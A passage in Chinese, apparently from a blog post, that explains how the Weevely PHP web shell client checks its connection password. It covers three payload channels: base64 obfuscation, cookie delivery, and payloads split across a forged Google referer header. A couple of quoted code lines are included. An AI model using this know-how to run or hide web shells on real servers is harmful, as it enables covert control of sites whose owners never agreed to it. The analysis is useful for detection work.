      2. 响应体不为空,验证成功。
    3. 若第一次验证失败,进行第二次验证,payload会发送到legacycookie.py的send()函数中,第二种payload的加密方式主要为base64编码加密然后在加密后的payload中加入特殊字符进行混淆。所以第二种加密方式不需要php文件中的密码进行解密,payload在php文件中进行base64解压缩执行,执行结果在Response_body中用密码第三位至末尾字符串标签进行包装。通过相同代码response = opener.open(url).read()获得响应体。判断:
      1. 如果响应体为空,说明php文件没有执行,所以可能为连接url错误。
      2. 响应体不为空,通过正则表达式
    self.extractor = re.compile("<%s>(.*)</%s>" % (self.password[2:],self.password[2:]),re.DOTALL)

    和代码data = self.extractor.findall(response)进行匹配密码第三位至末尾和响应体中的标签是否一致,如果一致的话则连接密码正确验证成功,如果不一致说明连接密码错误验证不成功。
    4. 前两次均失败则调用第三种payload加密方式,向legacyreferrer.py文件中的send()函数发送payload,第三种payload加密方式为构造referer头

    referer = "http://www.google.com/url?sa=%s&source=web&ct=7&url=%s&rct=j&q=%s&ei=%s&usg=%s&sig2=%s" % (self.password[:2],urllib2.quote(self.url),self.query.strip(),payload[:third],payload[ third:thirds],payload[thirds:])

    但是payload的加密方式依然为base64编码加密,所以密码正确与否的验证机制和第二种相同。

    展开全文

空空如也

空空如也

1 2 3 4 5 6
收藏数 105
精华内容 42
关键字:

weevely使用